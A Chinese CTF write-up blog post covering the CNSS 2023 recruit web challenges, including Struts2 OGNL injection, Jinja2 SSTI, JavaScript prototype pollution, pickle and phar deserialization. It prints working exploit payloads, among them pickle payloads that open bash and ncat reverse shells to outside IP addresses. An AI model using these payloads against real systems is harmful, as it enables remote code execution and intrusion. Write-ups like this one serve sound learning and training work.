CNSS 2023 Recruit Writeups

CNSS


  • PHPinfo

直接访问


  • babyHTTP

照要求做即可(火狐的cookies在网络里)


  • ping

Rce基础,拼接命令即可


  • 我得再快点

机器总是比手快的(悲


  • 2048

不知道是不是xss,应该是代码审计吧

利用伪协议将分数更新至目标然后调用getflag()


  • 换个头像先

文件上传(前端过滤),拦截js就打不开页面了,只能通过burp修改后缀


  • Tomcat?cat~

标签页给出了提示,搜索了一下然后直接贴代码就出来了,原理还是模糊的,POC需要先进行url编码

POC:

1
2
3
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

参考:

1——————2


  • RCE

参考RCE 绕过长度限制(分割命令)

/ >1可以生成一个1文件,而 ls -t>0,可以将生成的文件按时间顺序(最先输入的在最后,所以要把原本的顺序倒过来输入)

最后sh 0 执行生成命令

如果限制太小还需将ls -t>0命令拼接

两个反斜杠放在命令行的最后,则表示它是一个换行符号,即命令还要在下一行继续,在输入很长的命令时很有用

strip()删除空白符,了解了一下format()函数(按次序填充)

shell反弹是什么捏?get!


  • CNSS娘的聊天室

尝试过的POC:><&#97 其实根本不是xss(

SSTI :

模板化flask(jinja2)框架对用户输入过滤不严导致的漏洞,会用到内置的许多魔法变量

一般过程即拿到当前类的基类然后调用基类的子类中的方法,一般使用的是os._wrap_close中的popen方法,也可以拿到builtins,里面有eval[需要调用os模块(‘__import _ _(“os”).popen(‘cmd’).read()’)],

首先,不能输入字母,考虑十进制以下编码绕过(怎么会有人一开始想用html实体啊)

其次,(),[],{},””几种类型都不能取得父类尝试过数字型后成功回显,直接用object显然被过滤pass了

最后,popen不能被调用(或者说我搞不清楚怎么调用)而且popen不是把字符串当作命令执行,所以在学长的提醒下转而调用了builtins中的eval函数

不太清楚为什么eval中还传入了其他的东西调用popen以后再执行命令,【懂了,调用python模块,wssb】打个标记¿×膩肟

SSTI.pdf

ps:目标函数通常有file,subprocess.Popen,os.popen,exec,eval

一篇很有用的总结

1
2
3
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
1
2
3
4
5
6
7
8
9
POC:
{{123['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['__\151\156\151\164__']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\160\157\160\145\156\50\42\154\163\40\56\56\57\42\51\56\162\145\141\144\50\51')}}

ps:\56\56是..

source:
''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls ../").read()')
Simplified:
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen().read()")}}

  • Ezpollution_pre

js原型链污染

每个实例对象都有一个私有属性__proto__指向它的构造函数的原型prototype(而原型被所有构造函数构造的对象以及构造函数共有),当将原型修改以后所有对象的类一同改变,达到污染的效果

1.以json格式post

并且请求头:headers={“Content-Type”:”application/json”},

2.观察源代码发现主要引入了index和login模块然后查看,发现login中waf过滤了exec和load和调用了common模块中copy合并函数,然后套poc污染对应对象的原型绕过if,使用连接字符绕过exec过滤

3.poc:

1
2
3
4
5
6
7
8
9
10
import requests as re


url='https://ezpollution-pre-b9013859d700dbfe126879451f822757.ctf.hurrison.com/login'
headers={"Content-Type":"application/json"}
#'''const { execSync, exec} = require("child_process");execSync("echo aaa");'''
json={"username":"123","password":"123","__proto__":{"psych":"p5ych","eva1":'''require("child_process")["exe".concat("cSync")]("cat ../flag")'''}}

res=re.post(url,json=json,headers=headers)
print(res.text)

一些绕过方式:资料来源


  • CNSS娘的Flag商店(pickle反序列化)

关于pickle(反)序列化:

功能:将一些内容序列化翻译成字符串,反序列化即还原

记录一些我大概能够理解的操作:

c,GLOBAL操作符:

连续读取两个字符串modulename,规定以\n为分割;接下来把module.name这个东西压进栈

并且其引用的变量在栈上修改后会导致原变量也被修改,可以达到篡改变量的效果

},):压入一个空dict,空tuple.

MARK(:1.load_mark把当前栈这个整体,作为一个list,压进前序栈,并清空

i:相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

还是品读人家的笔记吧,自己写成shit了…..

1.首先,得知道是反序列化(,然后就被卡住了,因为无论怎么传值都反不出来,心态直接炸了,自己也对进制和编码什么的只是粗泛的了解,红温以后转战其他题去了

2.某天被push以后敲打了出题人,了解到pickle向下兼容并且python2中没有奇怪的byte都是可视字符(除了换行符\n%0A,如需用到保留字符的字符串形式需要进行url编码),用quote url编码后终于可以正常传参了yeah(其实只需要将不可见字符进行编码即可)

3.熟悉了下class后尝试了几下,发现得传Hi()[源代码类]来调用本身存在的类,因为禁用了’R’,所以直接传属性值pass掉了,

搜寻了一众资料了后,发现c指令调用全局变量buyInfo中的NAME值作为name值即可,然后成功

image-20231009002356672

资料

指令集

ps:p1,p2…操作是PUT操作,即将当前栈的栈顶复制一份到存储区,大多数情况下可省略

image-20231012000136362

image-20231012000157937

1
2
3
poc: %28i__main__%0AHi%0Ap0%0A%28dp1%0AS%27money%27%0Ap2%0AI2000%0AsS%27name%27%0Ap3%0AcbuyInfo%0ANAME%0Ap4%0Asb.
简单优化一下:(i__main__%0AHi%0A(dS'money'%0AI2000%0AsS'name'%0AcbuyInfo%0ANAME%0Asb.


  • CNSS娘の自助flag商店

说实话没太看懂什么进栈出栈的,但是借助picktools还是能勉强地敲出poc,

直接套用相似题的wp的poc报错试图从一个item的栈中弹两个item,那我就再塞一个进去嘛

然后就成功获取到了系统权限,第一次做没有回显的题,才发现自己不会弹shell更没有vps,还没有一些基本知识,唉

&需要编码为%26不然会报错

1
2
bash:(i__main__%0AHi%0Ap0%0A}(V__setstate__%0Acos%0Asystem%0AubVbash -c "bash -i%20 >%26/dev/tcp/124.220.41.141/5566 0>%261"%0Ab.
nc:(i__main__%0AHi%0Ap0%0A}(V__setstate__%0Acos%0Asystem%0AubVncat -e /bin/sh 192.168.217.155 5566%0Ab.

  • where is my unserlize

phar 反序列化,wakeup绕不过去,修改phar文件以后就一直修复不上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
class CNSS{
public $shino;

public $shin0;//test
public $name;//str
}

class Show{
public $key;//source
public $haha;//str
}

class CN55
{
public $source;
public $params;
}


$a = new CNSS();
$show = new Show();
$cnss = new CN55();
$cnss->params['key']='f1ag.php';
$a->name=$show;
$show->haha['hehe']=$cnss;

$phartest=new phar('shino.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("shino.txt","shino");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>


CNSS 2023 Recruit Writeups
http://yuuk1.top/2023/12/07/CNSS-2023-Recruit-Writeups/
作者
Yuuk1
发布于
2023年12月7日
许可协议